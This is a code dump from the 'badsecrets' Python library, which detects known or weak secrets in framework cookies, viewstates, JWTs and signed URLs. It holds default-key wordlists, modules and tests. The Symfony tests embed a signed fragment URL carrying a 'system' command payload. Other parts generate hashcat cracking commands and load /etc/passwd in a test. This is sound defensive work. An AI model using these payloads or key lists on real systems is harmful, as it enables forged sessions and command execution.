├── tests ├── __init__.py ├── resources │ ├── telerik_hash_keys_bad.txt │ └── aspnet_viewstate_bad.txt ├── aspnet_compressedviewstate_test.py ├── module_consistency_test.py ├── misc_test.py ├── flask_signedcookies_test.py ├── symfony_signedurl_test.py ├── django_signedcookies_test.py ├── rack2_signedcookies_test.py ├── express_signedcookies_test.py ├── error_handling_test.py ├── yii2_signedcookies_test.py ├── peoplesoft_pstoken_test.py ├── generic_jwt_test.py ├── laravel_signedcookies_test.py ├── examples_symfony_signedurl_test.py ├── rails_secretkeybase_test.py ├── examples_blacklist3r_test.py ├── telerik_hashkey_test.py ├── jsf_viewstate_test.py └── telerik_decryptionkey_test.py ├── .gitignore ├── badsecrets ├── examples │ ├── __init__.py │ ├── symfony_knownkey.py │ ├── blacklist3r.py │ └── cli.py ├── modules │ ├── __init__.py │ ├── aspnet_compressedviewstate.py │ ├── django_signedcookies.py │ ├── flask_signedcookies.py │ ├── yii2_signedcookies.py │ ├── rack2_signedcookies.py │ ├── peoplesoft_pstoken.py │ ├── laravel_signedcookies.py │ ├── express_signedcookies_es.py │ ├── symfony_signedurl.py │ ├── express_signedcookies_cs.py │ ├── rails_secretkeybase.py │ ├── telerik_hashkey.py │ ├── generic_jwt.py │ ├── telerik_encryptionkey.py │ ├── aspnet_viewstate.py │ └── jsf_viewstate.py ├── resources │ ├── jsf_viewstate_passwords.txt │ ├── peoplesoft_passwords.txt │ ├── telerik_hash_keys.txt │ ├── rack_secret_keys.txt │ ├── telerik_encryption_keys.txt │ ├── jsf_viewstate_passwords_b64.txt │ ├── jwt_rsakeys_public.txt │ ├── jwt_rsakeys_private.txt │ └── yii2_cookieValidationKeys.txt ├── errors.py ├── __init__.py ├── helpers.py └── base.py ├── .github ├── dependabot.yml └── workflows │ └── tests.yaml ├── .coveragerc ├── pyproject.toml └── requirements.txt /tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /badsecrets/examples/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /badsecrets/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/resources/telerik_hash_keys_bad.txt: -------------------------------------------------------------------------------- 1 | N0T^H3X& -------------------------------------------------------------------------------- /badsecrets/resources/jsf_viewstate_passwords.txt: -------------------------------------------------------------------------------- 1 | PASSWORD 2 | password 3 | BMnxS7TbB3RzjXfbgY54MszdDonAFgMyLRjQ1AJm 4 | 4b4c4t335tr4g4d0 5 | BetaCONCEPT -------------------------------------------------------------------------------- /badsecrets/resources/peoplesoft_passwords.txt: -------------------------------------------------------------------------------- 1 | PS 2 | peoplesoft 3 | PSADMIN 4 | PSAPPS 5 | PASSWORD 6 | Password 7 | password 8 | passw0rd 9 | qwerty 10 | 123456 11 | changeme -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: "pip" 4 | directory: "/" 5 | schedule: 6 | interval: "daily" 7 | target-branch: "dev" 8 | open-pull-requests-limit: 10 9 | -------------------------------------------------------------------------------- /tests/resources/aspnet_viewstate_bad.txt: -------------------------------------------------------------------------------- 1 | NOTHEX^,NOTHEX@ 2 | DEADBEEF 3 | N^TH#x,DEADBEEF 4 | 82FBC4649986565231B8ED91F953861DEF61798A0762444E6FC3BE98ED0BB7BBB2B7F3D969FA966677032D041A0F66A8C005A4E118B755D59963E2561099EA66, 5 | N^TH#X,DDABD235C8B46113985005507B476F468D4C283F2C14989F -------------------------------------------------------------------------------- /.coveragerc: -------------------------------------------------------------------------------- 1 | [report] 2 | exclude_lines = 3 | # Have to re-enable the standard pragma 4 | pragma: no cover 5 | 6 | # Don't complain if tests don't hit defensive assertion code: 7 | raise NotImplementedError 8 | 9 | # Don't complain about main() 10 | main() 11 | 12 | -------------------------------------------------------------------------------- /badsecrets/errors.py: -------------------------------------------------------------------------------- 1 | class BadsecretsException(Exception): 2 | pass 3 | 4 | 5 | class LoadResourceException(BadsecretsException): 6 | pass 7 | 8 | 9 | class Telerik_EncryptionKey_Exception(BadsecretsException): 10 | pass 11 | 12 | 13 | class CarveException(BadsecretsException): 14 | pass 15 | -------------------------------------------------------------------------------- /tests/aspnet_compressedviewstate_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | ASPNETcompressedviewstate = modules_loaded["aspnet_compressedviewstate"] 4 | 5 | 6 | def test_aspnet_compressedviewstate(): 7 | x = ASPNETcompressedviewstate() 8 | found_key = x.check_secret("H4sIAAAAAAAEAPvPyJ/Cz8ppZGpgaWpgZmmYAgAAmCJNEQAAAA==") 9 | assert found_key 10 | assert found_key["secret"] == "UNPROTECTED (compressed)" 11 | -------------------------------------------------------------------------------- /tests/module_consistency_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import BadsecretsBase 2 | 3 | 4 | def test_module_descriptions(): 5 | for m in BadsecretsBase.__subclasses__(): 6 | assert m.get_description() 7 | assert m.get_description()["product"] != "Undefined" 8 | assert m.get_description()["secret"] != "Undefined" 9 | assert m.get_description()["severity"] != "Undefined" 10 | assert m.get_description()["severity"] in ["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"] 11 | -------------------------------------------------------------------------------- /tests/misc_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets.helpers import write_vlq_string 2 | 3 | 4 | def test_vlq_encoding_multi_bytes(): 5 | string_128_chars = "a" * 128 # utf-8 encoding is 1 byte per character 6 | string_16384_chars = "b" * 16384 # utf-8 encoding is 1 byte per character 7 | assert write_vlq_string(string_128_chars)[0] == 0x80 # the first byte should be 0x80 8 | assert write_vlq_string(string_16384_chars)[0:2] == bytearray( 9 | [0x80, 0x80] 10 | ) # the first two bytes should both be 0x80 11 | -------------------------------------------------------------------------------- /badsecrets/resources/telerik_hash_keys.txt: -------------------------------------------------------------------------------- 1 | YOUR-SECOND-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 2 | YOUR-SECOND-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP& 3 | YOUR_ENCRYPTION_KEY_HERE 4 | YOUR_ENCRYPTION_KEY_TO_GO_HERE 5 | PrivateKeyForHashOfUploadConfiguration 6 | QzI5MkZBMDU4NDA3RUJBQzc2MTdGODUzODNBQ0Y3M0NGODEzRTdCQzBGOTdGNEVCRTc3N0I3OURCQTc2Q0NFMQ== 7 | r8xlexi45i6ieasno3wpyk55fyuc1n1j 8 | PutYourCustomEncryptionKeyHereFrom32To256CharactersLong 9 | YOUR-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 10 | 6YXEG7IH4XYNKdt772p2ni6nbeDT772P2NI6NBE4@ 11 | STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 12 | YOUR_ENCRYPTION_KEY_HERE 13 | 123456789qwerty 14 | encriptionkey 15 | 3R3U73FXEBBFOjrsvv5ziu6mmgE6ALLW5PUDUZ24@ 16 | d2a312d9-7af4-43de-be5a-ae717b46cea6 -------------------------------------------------------------------------------- /tests/flask_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | FlaskSignedCookies = modules_loaded["flask_signedcookies"] 4 | 5 | tests = [ 6 | ("CHANGEME", "eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA"), 7 | ("Attack at dawn!", "eyJsb2dnZWRfaW4iOnRydWV9.ZCONag.j2PHXgeT2B62qlYH72PKVuqjPvE"), 8 | ( 9 | "secret", 10 | ".eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU", 11 | ), 12 | ] 13 | 14 | 15 | def test_flask(): 16 | x = FlaskSignedCookies() 17 | for test in tests: 18 | found_key = x.check_secret(test[1]) 19 | assert found_key 20 | assert found_key["secret"] == test[0] 21 | -------------------------------------------------------------------------------- /badsecrets/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib 3 | from pathlib import Path 4 | from .base import BadsecretsBase 5 | 6 | module_dir = Path(__file__).parent / "modules" 7 | module_files = list(os.listdir(module_dir)) 8 | modules_loaded = {} 9 | for file in module_files: 10 | file = module_dir / file 11 | if file.is_file() and file.suffix.lower() == ".py" and file.stem not in ["base", "__init__"]: 12 | modules = importlib.import_module(f"badsecrets.modules.{file.stem}", "badsecrets") 13 | for m in modules.__dict__.keys(): 14 | module = getattr(modules, m) 15 | try: 16 | if BadsecretsBase in module.__bases__: 17 | modules_loaded[file.stem] = module 18 | except AttributeError: 19 | continue 20 | -------------------------------------------------------------------------------- /badsecrets/resources/rack_secret_keys.txt: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2 | CHANGEMEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 3 | showwin_happy 4 | $0nata 5 | eb46fa947d8411e5996329c9ef0ba35d 6 | 21314124432423423423423423434324234234 7 | change_me 8 | gotv 9 | abc123 10 | can-be-anything-but-keep-a-secret 11 | i am so secret 12 | MANGER 13 | lareconchadetumadre 14 | my_little_secret 15 | d4963334c2748abf3ac9ebefbc31928c 16 | 1cWEv1o7KQAMAg59MGQoXN68M6c90fYq6R2OUGYZ2l7qFU5Qj8ysoi59L15i 17 | 5242e6bd9daf0e9645c2d4e22b11ba8cee0bed44439906d5f1bd5dad409d8637 18 | 93b88de68f9a312d4e33b6c62a58229016b001af8ce01ced7884ae26e03708cd53eaba82ecd3f1a140b21e6e573ae7391efcaa2a81190840e3fe5702daa2e66a 19 | CHANGEMEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 20 | d4963334c2748abf3ac9ebefbc31928c 21 | eb46fa947d8411e5996329c9ef0ba35d 22 | something123 23 | legacy secret -------------------------------------------------------------------------------- /badsecrets/modules/aspnet_compressedviewstate.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from badsecrets.base import BadsecretsBase 4 | from badsecrets.modules.aspnet_viewstate import ASPNET_Viewstate 5 | 6 | # Reference: https://blog.sorcery.ie/posts/higherlogic_rce/ 7 | 8 | 9 | class ASPNET_compressedviewstate(BadsecretsBase): 10 | identify_regex = re.compile(r"^H4sI.+$") 11 | description = {"product": "ASP.NET Compressed Viewstate", "secret": "unprotected", "severity": "CRITICAL"} 12 | 13 | def carve_regex(self): 14 | return re.compile(r"]+__(?:VIEWSTATE|VSTATE|COMPRESSEDVIEWSTATE)\"\s*value=\"(.*?)\"") 15 | 16 | def check_secret(self, compressed_viewstate): 17 | if not self.identify(compressed_viewstate): 18 | return None 19 | 20 | uncompressed = self.attempt_decompress(compressed_viewstate) 21 | if uncompressed and ASPNET_Viewstate.valid_preamble(uncompressed): 22 | r = {"source": compressed_viewstate, "info": "Custom ASP.NET Viewstate (Unprotected, Compressed)"} 23 | return {"secret": "UNPROTECTED (compressed)", "details": r} 24 | -------------------------------------------------------------------------------- /tests/symfony_signedurl_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | Symfony_SignedURL = modules_loaded["symfony_signedurl"] 4 | 5 | 6 | # sha256 7 | def test_symfony_sha256(): 8 | s = "https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=" 9 | x = Symfony_SignedURL() 10 | r = x.check_secret(s) 11 | assert r 12 | assert r["secret"] == "50c8215b436ebfcc1d568effb624a40e" 13 | 14 | 15 | # sha1 16 | def test_symfony_sha1(): 17 | s = "https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=x3nyAneZB74G5S9L66d5ftJVNnk=" 18 | x = Symfony_SignedURL() 19 | r = x.check_secret(s) 20 | assert r 21 | assert r["secret"] == "50c8215b436ebfcc1d568effb624a40e" 22 | 23 | 24 | def test_symfony_negative(): 25 | s = "https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gd=" 26 | x = Symfony_SignedURL() 27 | r = x.check_secret(s) 28 | assert not r 29 | -------------------------------------------------------------------------------- /badsecrets/resources/telerik_encryption_keys.txt: -------------------------------------------------------------------------------- 1 | 0FB7522836FEB68190A2F5E2F26E2CD01FBFFBCF9B267CD0675146779A5B0CB5 2 | 0sGWw8plW1GjvyWqF8RQSlGPUbxVTx809cJXKLZ8hd8AxpPExZctEvuA4kaTd4GYCApkIfbejyHUYj3EuwJppyYVmRi7WOxZ60RmtRgtuQ0RWJWsxy1NZSHGzQSllj 3 | YOUR_ENCRYPTION_KEY_TO_GO_HERE 4 | PrivateKeyForEncryptionOfRadAsyncUploadConfiguration 5 | YOUR-FIRST-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP& 6 | YOUR-FIRST-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 7 | YOUR-THIRD-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP& 8 | YOUR-THIRD-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 9 | QjJFMDY1RTdCMjA5REREMUE1RkQzMDYxODE0Qzk0QTU2QjgzNzMyMDUyMjNFQTQ3QTZENjhDQTE3REI3N0JCQw== 10 | MTE5MTBERkFCOUZBMEUxRjk5NzE3MDY3QUE1RjczNzM5MzEwQkE2OUFFNkUxOUYxOEE3RTQyMkExMzlDOTk2Mw== 11 | PutYourCustomEncryptionKeyHereFrom32To256CharactersLong 12 | YOUR-UNIQUE-STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 13 | 6YXEG7IH4XYNKdt772p2ni6nbeDT772P2NI6NBE4@ 14 | 6DC4AD6A-63D6-4db9-A3FB-3A8C39A6846D 15 | STRONG-RANDOM-VALUE-UNIQUE-TO-YOUR-APP 16 | YOUR_ENCRYPTION_KEY_HERE 17 | 3R3U73FXEBBFOjrsvv5ziu6mmgE6ALLW5PUDUZ24@ 18 | d2a312d9-7af4-43de-be5a-ae717b46cea6 -------------------------------------------------------------------------------- /badsecrets/modules/django_signedcookies.py: -------------------------------------------------------------------------------- 1 | import re 2 | from django.core.signing import loads as djangoLoads, BadSignature 3 | from badsecrets.base import BadsecretsBase 4 | 5 | 6 | class DjangoSignedCookies(BadsecretsBase): 7 | identify_regex = re.compile(r"^[\.a-zA-z-0-9]+:[\.a-zA-z-0-9:]+$") 8 | description = {"product": "Djangno Signed Cookie", "secret": "Django secret_key", "severity": "HIGH"} 9 | 10 | def check_secret(self, django_signed_cookie): 11 | if not self.identify(django_signed_cookie): 12 | return False 13 | for l in set(list(self.load_resources(["django_secret_keys.txt", "top_100000_passwords.txt"]))): 14 | secret_key = l.rstrip() 15 | try: 16 | r = djangoLoads( 17 | django_signed_cookie, 18 | key=secret_key, 19 | fallback_keys="", 20 | salt="django.contrib.sessions.backends.signed_cookies", 21 | ) 22 | except BadSignature: 23 | continue 24 | if r: 25 | return {"secret": secret_key, "details": r} 26 | -------------------------------------------------------------------------------- /tests/django_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | DjangoSignedCookies = modules_loaded["django_signedcookies"] 4 | 5 | tests = [ 6 | ( 7 | ".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis", 8 | "d86e01d10e66d199e5f5cb92e0c3d9f4a03140068183b5c9387232c4d32cff4e", 9 | ) 10 | ] 11 | 12 | 13 | def test_django(): 14 | x = DjangoSignedCookies() 15 | for test in tests: 16 | found_key = x.check_secret(test[0]) 17 | assert found_key 18 | assert found_key["details"]["_auth_user_hash"] == test[1] 19 | 20 | 21 | def test_django_negative(): 22 | x = DjangoSignedCookies() 23 | found_key = x.check_secret( 24 | ".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCBADSECRETSMM3-UypscEN57ECtXis" 25 | ) 26 | assert not found_key 27 | -------------------------------------------------------------------------------- /tests/rack2_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | Rack2_SignedCookies = modules_loaded["rack2_signedcookies"] 4 | 5 | tests = [ 6 | ( 7 | "BAh7B0kiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkU5YmI3ZDUyODUyNTAwMDYzMGE2NjMxYTA5MjBlMjYzMzFmOGE0MjBhNTdhYWIxNzVkZTFmM2FjMDQ3NmI1NDQzBjsARkkiCmNvdW50BjsARmkG--3a983fbc58911c5266d7748a6a55165f74d412f4", 8 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 9 | ) 10 | ] 11 | 12 | negative_tests = [ 13 | "BAh7B0kiD3Nlc3Npb25faWQGOgZFVG86HVJhY2s6OlNlc3Npb246OlNlc3Npb25JZAY6D0BwdWJsaWNfaWRJIkU5YmI3ZDUyODUyNTAwMDYzMGE2NjMxYTA5MjBlMjYzMzFmOGE0MjBhNTdhYWIxNzVkZTFmM2FjMDQ3NmI1NDQzBjsARkkiCmNvdW50BjsARmkz--3a983fbc58911c5266d7748a6a55165f74d412f4", 14 | "", 15 | ] 16 | 17 | 18 | def test_rack2_signedcookies(): 19 | x = Rack2_SignedCookies() 20 | for test in tests: 21 | found_key = x.check_secret(test[0]) 22 | assert found_key 23 | assert found_key["secret"] == test[1] 24 | 25 | 26 | def test_rack2_negative(): 27 | x = Rack2_SignedCookies() 28 | for test in negative_tests: 29 | found_key = x.check_secret(test) 30 | assert not found_key 31 | -------------------------------------------------------------------------------- /badsecrets/modules/flask_signedcookies.py: -------------------------------------------------------------------------------- 1 | # flask_secret_keys wordlist shamelessly copied from https://github.com/Paradoxis/Flask-Unsign <3 <3 <3 2 | 3 | import re 4 | from flask_unsign import verify as flaskVerify 5 | from badsecrets.base import BadsecretsBase 6 | 7 | 8 | class Flask_SignedCookies(BadsecretsBase): 9 | identify_regex = re.compile(r"\.?e[Jy](?:[\w-]*\.)(?:[\w-]*\.)[\w-]*") 10 | description = {"product": "Flask Signed Cookie", "secret": "Flask Password", "severity": "HIGH"} 11 | 12 | def check_secret(self, flask_cookie): 13 | if not self.identify(flask_cookie): 14 | return None 15 | for l in set(list(self.load_resources(["flask_secret_keys.txt", "top_100000_passwords.txt"]))): 16 | password = l.rstrip() 17 | r = flaskVerify(value=flask_cookie, secret=password) 18 | if r: 19 | return {"secret": password, "details": r} 20 | return None 21 | 22 | def get_hashcat_commands(self, flask_cookie, *args): 23 | return [ 24 | { 25 | "command": f"hashcat -m 29100 -a 0 {flask_cookie} ", 26 | "description": f"Flask Signed Cookie", 27 | "severity": "HIGH", 28 | } 29 | ] 30 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "badsecrets" 3 | version = "0.13.0" 4 | description = "About" 5 | authors = ["A library for detecting known or weak secrets on across many platforms"] 6 | license = "GPL-3.0" 7 | readme = "README.md" 8 | 9 | [tool.poetry.group.dev.dependencies] 10 | requests-mock = "^1.10.0" 11 | pytest = "^8.3.4" 12 | pytest-cov = ">=6.1.1,<8.0.0" 13 | mock = "^5.1.0" 14 | pytest-mock = "^3.10.0" 15 | poetry-dynamic-versioning = {extras = ["plugin"], version = "^1.8.2"} 16 | 17 | [tool.poetry.dependencies] 18 | python = "^3.9" 19 | pycryptodome = "^3.21.0" 20 | viewstate = ">=0.5.3,<0.8.0" 21 | flask-unsign = "^1.2.1" 22 | Django = "^4.1.2" 23 | pyjwt = {extras = ["crypto"], version = "^2.6.0"} 24 | requests = "^2.32.3" 25 | colorama = "^0.4.6" 26 | 27 | [tool.poetry.scripts] 28 | badsecrets = 'badsecrets.examples.cli:main' 29 | telerik-knownkey = 'badsecrets.examples.telerik_knownkey:main' 30 | symfony-knownkey = 'badsecrets.examples.symfony_knownkey:main' 31 | 32 | [tool.black] 33 | line-length = 119 34 | 35 | [build-system] 36 | requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning"] 37 | build-backend = "poetry_dynamic_versioning.backend" 38 | 39 | [tool.poetry-dynamic-versioning] 40 | enable = true 41 | metadata = true 42 | format = 'v0.13.{distance}' 43 | -------------------------------------------------------------------------------- /badsecrets/resources/jsf_viewstate_passwords_b64.txt: -------------------------------------------------------------------------------- 1 | 01234567890== 2 | 4aBjfQJUodZcEYvDZi1Wkg== 3 | 6NuhzUHBfx0iupWHc585v8i3zDarQlp77963RLsTHQU= 4 | 84nTfyGGbjXAThliN8SSFA== 5 | aGVsbG9ieXo= 6 | am9kZXRlcHf0b2hhY2tlcg== 7 | am9kZXRlcHV0b2hhY2tlcg== 8 | AQnpRx9ytgsD1rEsfzoymA== 9 | bvtfSXguJigdQ9aMImJHWg== 10 | bW9yZXN0dWY= 11 | c3R1ZmZhbmQ= 12 | cjPDGZPveV1u+y6HBiSsgtvCdFwKfC99OeYwLf1S2sk= 13 | dMh+VboIOe/AJr4bQHXktfQB1HjJhtymh9SAcIVJNHg= 14 | dUx5cmtiRGc= 15 | dzl6JEImRSlIQE1jUWZUag== 16 | eQbfpbhGfilnyzCJ/ws0dA== 17 | GMHZAt/wS//U9a00nAG49w== 18 | JcNqcA0eFMFHYoNnrDpb0e6+o/1TfAAh926mIFhSd44= 19 | K3zwks27RX+hxw/fAI0v2A== 20 | M0RFUzNERVMxMjM0MTIzNDU2Nzg1Njc4 21 | MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz 22 | MDEyMzQ1Njc4OTAxMjMONTY3ODkwMTIz 23 | mm9kZORlbHi0bLheYstYcS== 24 | NeeYcMZH26jmnItN7LKPlN2j79e4tMNl9SeAj9nx/m8= 25 | Njc1MzE0MDI= 26 | NzY1NDMyMTA= 27 | o5bPLxyVVbW5zmV/mG1s4g== 28 | OaHMhbhnoH7qZYA/AmGEBg== 29 | OTM2NzM2MDY4YWx3OTNoag== 30 | PQ0WC3uY4pH2/beF9Ay8sA== 31 | Q0hBTkdFIE1BQ1NFQ1JFVA== 32 | Q0hBTkdFIFNFQ1JFVCEhIQ== 33 | QUFBQUFBQUE= 34 | SnNGOTg3Ni0= 35 | SUfrgnxsL7v7nCDWTrpk8g== 36 | uaddL2meOO5IMBhsxTRRGQ== 37 | UEFTU1dPUkRQQVNTV09SRA== 38 | UmljaEZhY2VzVGVtcEtleQ== 39 | UZapaJpDKNHvgoM6fncCMw== 40 | vuYziqnFsG46hjAwxzhGJw== 41 | vxI50oNETIH5iSsUPFBvzP0913W8fy8lwZ/LT6caXyI= 42 | xhSXfPrjRDR3w53f3bxkug== 43 | xI5/e/4I20CNcwDUP2q2kQ== 44 | Y29uZXhpYW9uZXBsYXRmbw== 45 | YnllYnllYno= 46 | yWESxOxePuUoQgjsoQz/FA== 47 | YWJjZDEyMzQ= 48 | zogisnzatvH06+//ZM1Nxw== 49 | zXk2XKK0DvUu7a6HCiO/UKtTRwYzcaj6obd8xKzWo/c= -------------------------------------------------------------------------------- /tests/express_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | ExpressSignedCookies_ES = modules_loaded["express_signedcookies_es"] 4 | ExpressSignedCookies_CS = modules_loaded["express_signedcookies_cs"] 5 | 6 | es_tests = [ 7 | ( 8 | "your-session-secret-key", 9 | "s%3A2eb4SvnuYufiFoKr0DLB-5gWD_YtlQhs.mGdwi%2F4pdFZkuraF%2FCit68TmBkpALzPSbCyDGEfpJjo", 10 | ), 11 | ("Shh, its a secret!", "s%3ABh8oG0qgMyJc4qq8A47I0MTwcNiu7ue8.hXhPs8q9AN4ATeh2KrjuzvSbJA7cqbkP5cUUT34bZKA"), 12 | ] 13 | 14 | 15 | cs_tests = [ 16 | ( 17 | "your-secret-key", 18 | ("foo=eyJ1c2VybmFtZSI6IkJib3RJc0xpZmUifQ==", "zOQU7v7aTe_3zu7tnVuHi1MJ2DU"), 19 | ), 20 | ("your-secret-key", ("foo=eyJ1c2VybmFtZSI6IkJib3RJc0xpZmUifQ==", "zOQU7v7aTe_3zu7tnVuHi1MJ2DU")), 21 | ] 22 | 23 | 24 | def test_express_es(): 25 | x = ExpressSignedCookies_ES() 26 | for test in es_tests: 27 | found_key = x.check_secret(test[1]) 28 | assert found_key 29 | assert found_key["secret"] == test[0] 30 | 31 | 32 | def test_express_es_bad(): 33 | x = ExpressSignedCookies_ES() 34 | for test in es_tests: 35 | found_key = x.check_secret("s%3A%2F%2Fsomeorg.org%2Flocations%2Fnorth") 36 | assert not found_key 37 | 38 | 39 | def test_express_cs(): 40 | x = ExpressSignedCookies_CS() 41 | for test in cs_tests: 42 | found_key = x.check_secret(test[1][0], test[1][1]) 43 | assert found_key 44 | assert found_key["secret"] == test[0] 45 | -------------------------------------------------------------------------------- /tests/error_handling_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | import badsecrets.errors 3 | import random 4 | import string 5 | import os 6 | 7 | 8 | # Handle bad custom resource 9 | def test_handle_bad_resource(): 10 | for module_name, mod in modules_loaded.items(): 11 | try: 12 | rand_string = "".join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 13 | mod(custom_resource=f"/tmp/{rand_string}") 14 | assert False 15 | except badsecrets.errors.LoadResourceException: 16 | assert True 17 | 18 | 19 | # Ensure a good custom resource gets loaded properly 20 | def test_load_resource(): 21 | for module_name, mod in modules_loaded.items(): 22 | try: 23 | mod(custom_resource="/etc/passwd") 24 | assert True 25 | except badsecrets.errors.LoadResourceException: 26 | assert False 27 | 28 | 29 | def test_use_custom_resource(): 30 | Generic_JWT = modules_loaded["generic_jwt"] 31 | 32 | x = Generic_JWT( 33 | custom_resource=f"{os.path.dirname(os.path.abspath(__file__))}/../badsecrets/resources/jwt_secrets.txt" 34 | ) 35 | r = x.check_secret( 36 | "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" 37 | ) 38 | assert r 39 | 40 | 41 | def test_identity_non_match(): 42 | Generic_JWT = modules_loaded["generic_jwt"] 43 | x = Generic_JWT() 44 | r = x.check_secret("N0T_Val1D") 45 | assert r == None 46 | -------------------------------------------------------------------------------- /tests/yii2_signedcookies_test.py: -------------------------------------------------------------------------------- 1 | from badsecrets import modules_loaded 2 | 3 | Yii2_SignedCookies = modules_loaded["yii2_signedcookies"] 4 | yii2_tests = [ 5 | ( 6 | "secret", 7 | "0bb72f36d041a3a022f231eebe114889ee442092ee350242ffb2d4bb53887a81a%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22lang%22%3Bi%3A1%3Bs%3A7%3A%22English%22%3B%7D", 8 | ), 9 | ] 10 | 11 | 12 | def test_yii2_valid(): 13 | x = Yii2_SignedCookies() 14 | for test in yii2_tests: 15 | found_key = x.check_secret(test[1]) 16 | assert found_key 17 | assert found_key["secret"] == test[0] 18 | 19 | 20 | def test_yii2_bad(): 21 | x = Yii2_SignedCookies() 22 | found_key = x.check_secret("not_a_valid_cookie_value") 23 | assert not found_key 24 | 25 | 26 | def test_yii2_carve(): 27 | x = Yii2_SignedCookies() 28 | header_value = f"lang={yii2_tests[0][1]}; expires=Sat, 11-Apr-2026" 29 | results = x.carve(headers={"Set-Cookie": header_value}) 30 | assert len(results) > 0 31 | assert results[0]["type"] == "SecretFound" 32 | assert results[0]["secret"] == yii2_tests[0][0] 33 | 34 | 35 | def test_yii2_verify_exception(): 36 | x = Yii2_SignedCookies() 37 | # Test with malformed cookie that will cause exception in verify 38 | result = x.verify_yii2_cookie("invalid_cookie", "secret") 39 | assert result == False 40 | 41 | 42 | def test_yii2_hashcat(): 43 | x = Yii2_SignedCookies() 44 | cookie = "0bb72f36d041a3a022f231eebe114889ee442092ee350242ffb2d4bb53887a81a%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22lang%22%3Bi%3A1%3Bs%3A7%3A%22English%22%3B%7D" 45 | commands = x.get_hashcat_commands(cookie) 46 | assert len(commands) == 1 47 | assert commands[0]["command"] == f"hashcat -m 19700 -a 0 {cookie} " 48 | assert commands[0]["description"] == "Yii2 Cookie Validation Key" 49 | assert commands[0]["severity"] == "HIGH" 50 | 